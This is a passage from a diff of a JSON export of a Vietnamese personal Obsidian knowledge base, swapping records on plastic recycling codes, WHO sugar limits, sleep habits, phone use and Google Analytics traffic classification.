9\")\r\n\r\n_loại nhựa an toàn bạn nên sử dụng và nên tránh – ảnh internet_\r\n\r\nTuyệt đối không nên sử dụng các loại nhựa có các ký hiệu đánh số 3, 6, 7 vì chứa chất hóa học nguy hiểm. Đồng thời những loại nhựa yêu cầu chỉ sử dụng 1 lần không nên tái chế, vì dễ làm phá vỡ cấu trúc của nhựa và giải phóng một số chất hóa học nguy hiểm.\r\n\r\nTrên đây là các thông tin chia sẻ về ký hiệu các loại nhựa phổ biến giúp cho bạn hiểu hơn về sản phẩm được chế tác từ nhựa. Qua bài viết này bạn có thể chọn được các sản phẩm nhựa tốt, an toàn cho sức khỏe cho mọi thành viên của gia đình.\r\n\r\nNguồn:: [Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe](https://thuanthienplastic.com/phan-biet-ky-hieu-cac-loai-nhua/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-21T04:56:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "TX" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tl" }, { - "Tiêu đề": "Khai thác một từ khoá", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Khai thác một từ khoá", + "Tiêu đề": "Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Phân Tích Ngôn Ngữ (Linguistic Analysis)\n- Từ điển định nghĩa (dictionary definition) từ này như thế nào?\n- Các từ đồng nghĩa (synonyms) của từ này là gì?\n- Các từ trái nghĩa (antonyms) của từ này là gì?\n- Các từ liên quan (associated words) đến khái niệm này là gì?\n- Các nghĩa khác (other meanings) của khái niệm hoặc từ này là gì?\n- Làm thế nào để hình dung khái niệm này một cách trực quan (visually represent)?\n\n## Cấu Trúc (Framework)\n- Khái niệm này thuộc về khái niệm cấp cao hơn (superordinate concept) nào?\n- Các khái niệm cấp dưới (subordinate concepts) nào nằm trong khái niệm này?\n- Các khái niệm tương đương (coordinate concepts) với khái niệm này là gì?\n- Các khái niệm đối lập hoàn toàn (diametrically opposed concepts) với khái niệm này là gì?\n- Khái niệm này liên quan đến khái niệm đang trao đổi ở điểm nào?\n- Khái niệm này khác với khái niệm đang trao đổi ở điểm nào?\n\n## Thuộc Tính (Attributes)\n- Các thuộc tính cốt lõi (critical attributes) của khái niệm này là gì?\n- Các thuộc tính biến đổi (variable attributes) của khái niệm này là gì?\n- Những đặc điểm lý tưởng (desirable attributes) nào mà khái niệm này nên có?\n\n## Ví Dụ (Examples)\n- Ví dụ điển hình của khái niệm (prototype example) này là gì?\n- Những thuộc tính nào (attributes) xuất hiện trong ví dụ này?\n- Người mới bắt học (novice) sẽ thấy những thuộc tính nào trong ví dụ này?\n- Các ví dụ nhập nhằng (borderline examples) của khái niệm này là gì?\n- Cần thay đổi gì trong ví dụ nhập nhằng (borderline example) để nó trở thành ví dụ điển hình (prototype example)?\n- Các phản ví dụ (non-example) của khái niệm này là gì?\n\n## Con Người (Peoples)\n- Ai là người phát triển hoặc khám phá khái niệm này đầu tiên?\n- Những người nổi bật nào đã đóng góp vào sự phát triển của khái niệm này?\n- Ai là người chịu ảnh hưởng trực tiếp hoặc hưởng lợi từ khái niệm này?\n- Những nhóm người nào có thể phản đối hoặc không đồng ý với khái niệm này?\n- Các nhà nghiên cứu hoặc chuyên gia nào đang nghiên cứu khái niệm này?\n\n## Ứng Dụng Thực Tiễn (Practical Applications)\n- Khái niệm này được áp dụng như thế nào trong thực tế?\n- Các ngành nghề nào sử dụng khái niệm này?\n- Các công cụ hoặc phương pháp nào hỗ trợ việc sử dụng khái niệm này?\n- Công nghệ mới nào có thể ảnh hưởng đến khái niệm này?\n- Khái niệm này sẽ tác động như thế nào đến xã hội và cuộc sống con người trong tương lai?\n\n## Lịch Sử và Bối Cảnh (History and Context) \n- Nguồn gốc của khái niệm này là gì?\n- Khái niệm này đã thay đổi như thế nào qua thời gian?\n- Các yếu tố lịch sử hoặc xã hội nào ảnh hưởng đến sự phát triển của khái niệm này ?\n- Khái niệm này có ý nghĩa gì trong các nền văn hóa khác nhau?\n- Các yếu tố địa lý nào ảnh hưởng đến khái niệm này?\n- Khái niệm này có biến đổi như thế nào ở các vùng miền khác nhau?\n\n## Quan Điểm và Tranh Luận (Perspectives and Debates)\n- Những người khác nhau sẽ định nghĩa khái niệm này khác nhau như thế nào?\n- Khái niệm này gợi lên cảm xúc gì ở những người khác nhau?\n- Có những quan điểm khác nhau nào về khái niệm này?\n- Các tranh luận chính liên quan đến khái niệm này là gì?\n- Những nghiên cứu hoặc lý thuyết nào đã kiểm chứng hoặc phản đối khái niệm này?\n\nNguồn:: ![[Khai thác một từ khoá.pdf]]\n\n![Connect Ideas with The Idea Compass and Visualize Connections with ExcaliBrain - YouTube](https://www.youtube.com/watch?v=7rnsULzez-g)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-02T10:03:00.000Z", - "Ngày cập nhật": "2024-08-08T06:36:00.000Z", - "id": "TY" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tm" }, { - "Tiêu đề": "Quản lý kiến thức cá nhân", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Quản lý kiến thức cá nhân", + "Tiêu đề": "Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [Tổng hợp tất cả các app có đồ thị](https://www.notion.so/My-2d-Brain-Networked-Notebook-App-a131b468fc6f43218fb8105430304709)\n![](https://i.imgur.com/WC5RElN.png)\n", + "Toàn bộ nội dung": "# Thôi đừng hảo ngọt nữa\nTổ chức Y tế thế giới (WHO) kêu gọi mọi người đừng hảo ngọt nữa: lượng đường tiêu thụ mỗi ngày chỉ nên dưới 10% mức đóng góp calo trong khẩu phần. \n \nMức sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. \n \nWHO nói thẳng rằng, họ có bằng chứng rất cứng, hảo ngọt trên 10% là dính dáng tới lên cân, béo phì và sâu răng. \n \n## Chưa bị lộ mới nguy hiểm \nMỗi ngày trung bình cần khoảng 2.000 calo từ thực phẩm.10% là 200 calo. Mỗi gram đường cung cấp 4 calo. Như vậy mỗi ngày chỉ nên ăn dưới 50g đường (200/4), WHO nói thế. \n \nMột muỗng cà phê đường, hay một gói đường nho nhỏ để uống cà phê chừng 4g (ở Việt Nam gói nhỏ này 6g). Nhằm nhò gì! 50g đường là 12 muỗng rưỡi chứ đâu phải ít… Coi vậy chứ không phải vậy. Một lon nước ngọt có gas (330ml) chứa 36g đường, một lon nước tăng lực nhỏ (250ml) chứa 30g đường. Uống chơi chơi một lon, coi như gần hết quota. \n \nThứ đường mà WHO đề cập không chỉ là đường cát, đường phèn, đường thốt nốt (\\*), mà là đủ thứ đường: đường mạch nha (đường maltose), mật ong (gồm chủ yếu đường glucose và fructose), xi rô… thậm chí nước cốt trái cây ép cô đặc (fruit juice concentrate) như chanh dây, dâu tằm, táo, cam… cũng tính luôn. Mấy chai nước cốt này thường tự hào trên nhãn là không dùng chất bảo quản (No preservative), nhưng chứa đường đâu kém gì mứt thì vi khuẩn nào mà sống nổi. Các loại nước ngọt có gas thường dùng đường xi rô bắp, cao fructose (HFCS), loại đường này thì WHO còn ghét thậm tệ. \n \nChỉ có đường trong rau quả, trái cây tươi, sữa thì WHO không tính tới vì không có bằng chứng, mặc dù trong mấy thứ này đều có đường glucose, fructose, hoặc lactose. \n \nNhững thứ ngọt bị lộ (liễu) như chè, nước ngọt có gas, nước sinh tố, bánh bông lan… không đáng ngại lắm vì biết rõ hàng kiêng kỵ thì né. Điều e ngại là những thứ ngọt chưa bị lộ (hidden sugar), một muỗng tương cà có tới 4g đường, rồi BBQ, sườn nướng, sườn xào chua ngọt, mắm nêm, mắm ruốc, mắm kho quẹt… chưng lên là phải thêm đường. Mặn và ngọt mà trộn với nhau thì mới thấy quota 50g đường/ngày là mức nghiệt ngã. \n \n## WHO còn tiếp tục nghiệt nữa \nWHO nhấn mạnh là họ có bằng chứng rất “cứng” (solid evidence) rằng, xài trên 50g đường/ngày là dễ bị tăng cân, béo phì và sâu răng, so với những người dùng dưới mức này. Đó là chưa kể bằng chứng “từ trời rơi xuống”. Số là, trước thế chiến 2, mức xài đường bình quân mỗi năm là 15kg/người. Trong chiến tranh do thiếu lương thực nên xài ít lại, và sau kết thúc cuộc chiến, một năm (1946), mức tiêu thụ đường chỉ còn 0,2kg/người. Trong khoảng thời gian “kiêng ngọt” miễn cưỡng đó, tỷ lệ sâu răng giảm đi thấy rõ. \n \nTheo số liệu của STINFO (Tạp chí Thông tin khoa học công nghệ), thì mức tiêu thụ đường mỗi năm ở Việt Nam là 15kg/người, khoảng 41g đường/ngày. Đó chỉ là mới tính đường ăn, chưa kể các loại đường khác, và cũng chỉ tính xa cạ, nông thôn thành thị, từ trẻ sơ sinh cho tới người già 90, chứ nếu tính riêng nhóm đô thị thì chắc vượt qua con số khuyến cáo 50g của WHO. Theo viện Dinh dưỡng, tỷ lệ trẻ em dưới năm tuổi bị béo phì là 5,6%, người lớn từ 50 – 60 tuổi, cũng chiếm tỷ lệ đó, và con số này còn tiếp tục tăng. Thực ra, WHO đã đưa ra khuyến cáo giảm ngọt ở mức 10% hay 50g đường/ngày từ năm 1989. Sau khi thu thập thêm bằng chứng và thảo luận, đầu năm 2015 mới chính thức khuyến cáo mạnh mẽ để chính phủ các nước đưa ra chính sách thích hợp. Những biện pháp bao gồm, yêu cầu ghi lượng đường trên nhãn sản phẩm để người dùng lựa chọn, hạn chế marketing các sản phẩm có nhiều đường, và thảo luận với các nhà chế biến thực phẩm trong nước nhằm hạ mức sử dụng đường hiện nay. \n \nMức đường sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. Hạn chế sử dụng đường là một phần của kế hoạch hành động toàn cầu của WHO, nhằm chặn đứng đà gia tăng bệnh tiểu đường và béo phì, và đến năm 2025, giảm khoảng 25% chết yểu do các bệnh không truyền nhiễm (NCDs – Non communicable diseases) như các bệnh tim mạch, ung thư, hô hấp mãn tính… \n \nGiảm thịt (đỏ), giảm béo, giảm mặn, và bây giờ là giảm ngọt. Xem ra cái giá phải trả để sống lâu cũng không rẻ. \n \nNguồn:: Vũ Thế Thành, [Thôi đừng hảo ngọt nữa](http://thegioihoinhap.vn/song-khoe/an-toan-thuc-pham/vu-the-thanh-thoi-dung-hao-ngot-nua)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T07:31:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "TZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:27:00.000Z", + "id": "Tn" }, { - "Tiêu đề": "Tổng quan tài liệu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Quản lý kiến thức và lập luận/Tổng quan tài liệu", + "Tiêu đề": "Những lý do để khó duy trì việc ngủ sớm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Những lý do để khó duy trì việc ngủ sớm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [Ought](https://ought.org/)\r\nAutomate and scale open-ended reasoning, so that future improvements in ML help as much with thinking and reflection as they do with tasks that have clear short-term outcomes.\r\n", + "Toàn bộ nội dung": "Việc lên giường lúc 22h và thức dậy lúc 5h có rất nhiều lợi ích: thêm nhiều ánh sáng hơn. Ngoài ra \n- Easy to drift, hard to revert\n\nBecause you need 1 hour more staying awake in bed\n\n# Những lý do khó duy trì việc ngủ lúc 22h\n- Đang có một câu chuyện dang dở cần phải nói tiếp, nhất là với bạn bè lâu năm\n- Bạn bè tụ tập\n- Thuật toán của youtube, netflix, instagram rất giỏi trong việc giới thiệu những sản phẩm truyền thông đủ sức cuốn hút hơn cả lợi ích của việc đi ngủ. Mà lúc nghỉ làm ra nghỉ chỉ muốn giải tri chút\n- Đi lòng vòng suy nghĩ\n- Relax after work, but only stop when knowing it's late. But after standing up, you just want to watch some tv…\n- Bên ngoài hát ồn ào\n- Trăng rằm\n\n## Liên quan đến công việc\n- [[Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)]]\n\t- Thèm làm thêm chút, có thể vì thấy nó nhỏ không đáng là bao, mà để hôm sau là quên luôn\n\t- Thấy áy náy khi ban ngày chẳng làm gì nhiều\n- Cảm thấy ráng làm xíu nữa cũng không quá trễ\n- Đang tập trung suy nghĩ mà bị cắt khỏi dòng suy nghĩ rất là nhức đầu\n- Tới hạn chót \n- Đã dừng làm việc trên máy sớm và ra ôm điện thoại để giải lao và chuyển pha. Nhưng sau một hồi chat thì đầu óc hồi phục và lại thấy hăng làm\n- Ráng làm để tiết kiệm thời gian lúc ngủ: code cho xong để máy chạy xuyên đêm, hoặc soạn bài trên Reddit, Stack Exchange để mai có câu trả lời, vì giờ đó bên Mỹ là buổi sáng\n\n[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]]\nThường chỉ dừng khi thấy mỏi lưng, đầu hết nghĩ được gì\n[[Bảng quan trọng – khẩn cấp]]\n[[Việc khai thác điểm yếu của con người đem lại lợi nhuận]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Ta" + "Ngày tạo": "2023-06-02T03:46:00.000Z", + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "To" }, { - "Tiêu đề": "Nghiên cứu người dùng, phát triển sản phẩm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Nghiên cứu người dùng, phát triển sản phẩm", + "Tiêu đề": "Xem điện thoại trước lúc ngủ làm khó ngủ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Xem điện thoại trước lúc ngủ làm khó ngủ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Tạo liên kết UTM rút gọn nhanh chóng]], [[Hệ thống quản lý kiến thức]], [[Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên]]\nLĩnh vực:: [[Tiếp thị số]], [[Hệ thống thông tin]]\n\nXem thêm:: [[Phát triển sản phẩm]]", + "Toàn bộ nội dung": "Nguồn:: \r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/W6CBb3yX9Zs\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "Tb" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tp" }, { - "Tiêu đề": "Nắm bắt xu hướng mạng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Nắm bắt xu hướng mạng", + "Tiêu đề": "Điện thoại làm tăng sự lo lắng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Điện thoại làm tăng sự lo lắng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]], [[Xử lý ngôn ngữ tự nhiên (NLP)]]\nNhu cầu công nghệ:: [[Xác định các chủ đề có trong ngữ liệu]], [[Cào web]]", + "Toàn bộ nội dung": "Giải pháp gợi ý:: Một chiếc điện thoại nhỏ không có chức năng liên lạc mà chỉ dùng để báo thức và ghi chú nhanh\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:30:00.000Z", - "id": "Tc" + "Ngày cập nhật": "2024-09-01T10:27:00.000Z", + "id": "Tq" }, { - "Tiêu đề": "Tổng hợp những sự kiện sẽ diễn ra", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Thu thập dữ liệu/Tổng hợp những sự kiện sẽ diễn ra", + "Tiêu đề": "Chiến dịch là sản phẩm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Chiến dịch là sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Cào web]], [[Nhập sự kiện vào Google Calendar]]", + "Toàn bộ nội dung": "Khi trang web chỉ là những bài viết thì có thể dùng nhóm chủ đề. Nhưng tốt nhất là cố gắng tìm ra mục tiêu của mình khi viết những bài đó, biến nhóm chủ đề đó thành một dự án, đặt tên cho dự án đó, rồi dùng tên đó để làm tên chiến dịch.\n[[Dự án là sản phẩm]]\n\nTuy nhiên, do dựa vào tên trang ta có thể suy ra được\n\n[[Sản phẩm là kết quả của các công việc]] \n[[Các công việc trong một dự án chủ yếu là các công việc khai phá. Các công việc trong một chiến dịch chủ yếu là các công việc khai thác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T08:29:00.000Z", - "id": "Td" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tr" }, { - "Tiêu đề": "Tra lại lịch sử ghi chép", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Tra lại lịch sử ghi chép", + "Tiêu đề": "Các organic branded traffic nên được xem như là direct traffic", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Các organic branded traffic nên được xem như là direct traffic", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Kiểm soát phiên bản (version control)]]", + "Toàn bộ nội dung": "Organic search traffic bao gồm cả các branded traffic, tức là các traffic mà từ khóa mà người dùng sử dụng để tìm kiếm có chứa tên thương hiệu trong đó. Ví dụ brand ở đây là Wall Street English và thay vì tìm kiếm với từ khóa chung chung là _“học tiếng Anh”_ thì người dùng có thể tìm kiếm bằng từ khóa _“học tiếng Anh Wall Street English”_ và bấm vào kết quả tìm kiếm tự nhiên để vào website. Lúc này về mặt kỹ thuật, các traffic này vẫn là search traffic nhưng về mặt bản chất thì người dùng đã biết đến Wall Street English từ trước và họ tìm kiếm với mục đích là để đến website của brand này chứ không phải để tìm kiếm sự lựa chọn nữa. Và branded traffic thường có xu hướng gia tăng khi nhận diện thương hiệu của brand được gia tăng (thông qua các hoạt động quảng cáo, branding, PR) chứ không liên quan nhiều đến kết quả thứ hạng các từ khóa và hoạt động SEO. Một số khách hàng và công ty mà tôi đã có dịp tư vấn qua thì organic traffic của họ tăng trưởng đều đều nhưng sau khi kiểm tra lại thì thực chất phần tăng trưởng đó là branded traffic và phần này có khi chiếm tới 80% tổng số organic traffic. Lúc này thực chất, từ khóa duy nhất mà các công ty này đang rank có lẽ chỉ là tên thương hiệu của họ.\n\n# Giải pháp\n\nVì các lý do nêu trên, các branded traffic nên được xem như là direct traffic thì sẽ chính xác hơn về mặt ý nghĩa để đánh giá và phân tích. Trong Google Analytics nên thiết lập một segment để đo lường branded traffic và non-branded traffic riêng biệt để có đánh giá chính xác hơn về tình hình thực sự của organic traffic mà không bị ảnh hưởng bởi người dùng tìm kiếm về thương hiệu.\n\nCách thiết lập segment cho Branded Traffic: vào mục Organic Search trong Channels, phía trên cái graph sẽ có dòng Add Segment, bấm vào đó. Sau đó bấm New Segment, đặt tên là Branded Organic Traffic hay đại loại, trong bảng đó bấm vào Traffic Sources, khung medium chọn contains sau đó gõ vào “organic”. Sau đó trong phần Conditions bên dưới trong khung đầu tiên chọn “Keyword”, khung thứ hai chọn “contains” sau đó phần khung còn lại điền vào brand của mình. Nếu brand có nhiều cách gọi hoặc cách gõ thì tốt nhất nên nhập hết bao gồm cả typo, ví dụ “wall street english”, “wse”, “wallstreet english”, “wsenglish”. Sau đó bấm Save là xong.\n\n[![branded-organic-traffic.png](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)\n\nNên thiết lập một segment để tracking traffic liên quan đến branded keywords. \n\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Te" + "Ngày tạo": "2023-06-30T05:52:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Ts" }, { - "Tiêu đề": "Viết bài", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nghiên cứu/Viết bài", + "Tiêu đề": "Các URL dài có thể là organic traffic chứ không phải direct traffic", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Các URL dài có thể là organic traffic chứ không phải direct traffic", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nLĩnh vực:: [[Sắp chữ, thiết kế, xuất bản]], [[Hệ thống thông tin]]\n# Comprehensive Academic Workflow from Reading to Writing in Markdown\n![The abstract version of the academic workflow from reading to writing](https://chris-grieser.de/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8afcb0cc-e145-46b4-a37b-fb968f26022d%2FUntitled.png?table=block&id=11b60946-15f4-483a-a7f6-8bf69503aa04&spaceId=59bcf46b-de3b-49d0-8351-c59ab6c69bd5&width=1730&userId=&cache=v2)\nNguồn:: [Notion – The all-in-one workspace for your notes, tasks, wikis, and databases.](https://chris-grieser.de/Comprehensive-Academic-Workflow-from-Reading-to-Writing-in-Markdown)\n\n[[Chèn ảnh, bảng, sơ đồ, mục lục, ghi chú, song ngữ, trích dẫn theo đúng ý]]", + "Toàn bộ nội dung": "Google Analytics thường xác định visits thuộc về nguồn traffic nào dựa vào referrer, tuy nhiên vì một lý do nào đó mà referrer này lại bị mất dẫn đến việc các traffic đó sẽ bị xếp loại vào direct traffic. Vậy bao nhiêu organic traffic hiện đang bị tính vào direct traffic? Một nghiên cứu được tiến hành bởi Gene McKenna – Product Manager của Groupon đã cho thấy rằng có thể có tới [60% direct traffic của bạn hiện tại là organic](http://searchengineland.com/60-direct-traffic-actually-seo-195415). Con số đó có thể chỉ là trong trường hợp của Groupon, một trang deal / e-commerce, tùy theo tình trạng website của bạn như thế nào, số lượng organic traffic của bạn bị lẫn trong direct traffic có thể nằm trong khoản 20% – 80%.\n\n## Giải pháp\n\nKiểm tra trong phần direct traffic của report và chú ý tới các URLs dài, khó nhớ và khó có khả năng người dùng gõ trực tiếp vào trình duyệt hoặc bookmark, chúng nhiều khả năng không phải là direct traffic mà chính là organic traffic.\n\n[![long-tail-organic-traffic-trong-direct.png](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)\n\nCó thể chúng là organic traffic, chứ không phải direct traffic.\n\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T15:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:10:00.000Z", - "id": "Tf" + "Ngày tạo": "2023-06-30T06:05:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tt" }, { - "Tiêu đề": "Nhu cầu công việc", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Nhu cầu công việc", + "Tiêu đề": "Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Nhu cầu công việc\" \nWHERE file.name!=this.file.name\nWHERE none([file.name, \"Nơi gặp mặt trực tiếp\"], (i) => contains(file.folder, i))\nGROUP BY split(file.folder, \"/\")[2]\n```\n\n[[Thành phẩm (output) là các kết quả trực tiếp của các công việc|Việc đáp ứng nhu cầu công việc tạo ra thành phẩm]].\nNhu cầu công nghệ:: [[Nhu cầu công nghệ]]\nLĩnh vực:: [[Lĩnh vực]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-29T16:53:00.000Z", - "Ngày cập nhật": "2024-09-01T08:38:00.000Z", - "id": "Tg" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-01T10:45:00.000Z", + "id": "Tu" }, { - "Tiêu đề": "Chia sẻ lịch với nhau", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Vận hành/Chia sẻ lịch với nhau", + "Tiêu đề": "Một số medium cho blog: social, referral, forum, blog, chat, form", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Một số medium cho blog là social, referral, forum, blog, chat, form", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nHỏi: \n❝em đang tìm một phần mềm quản lý thời gian biểu cả nhóm theo dạng như: \nCó một bảng lịch cộng tác \nmọi người có thể tô trên lịch các khoảng thời gian mình bận \ntừ đó lọc ra khoảng thời gian rảnh để thống nhất đưa ra lịch họp \nCác bác biết phần mềm nào như vậy không ạ❞ \n \nĐáp: \n❝reclaim.ai nhưng ko khuyến khích vì nó ko có database ha, còn ở mức độ bt thì thằng notion calendar chắc cũng đủ để dùng \nnói thêm cái bạn nói là 1 dạng sắp xếp cuộc hẹn á, appointment bạn search kiểu này dễ ra hơn chứ ko nó đề xuất 1 loạt cái ko lq loạn lắm, các phương án thay thế có thể là morgen motion❞ \nhttps://discord.com/channels/686053708261228577/944662832585277511/1248948508443021342", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n\nXem thêm:: [[Hướng dẫn truyền thông]]\n# Những nơi sẽ được đặt\n- Facebook:\n\t- group:\n\t\t- bài đăng\n\t\t\t- comment\n\t- group chat:\n\t\t- phòng chat\n\t- cá nhân\n\t- page\n\t- profile\n- Blog: tên website \n\t- Comment\n\t- Link khi bấm vào profile\n- Discord\n\t- Profile\n\t- Server \n\t\t- Channel\n\t\t\t- Thread\n\t\t\t\t- Topic\n[UTM and UTM convention best 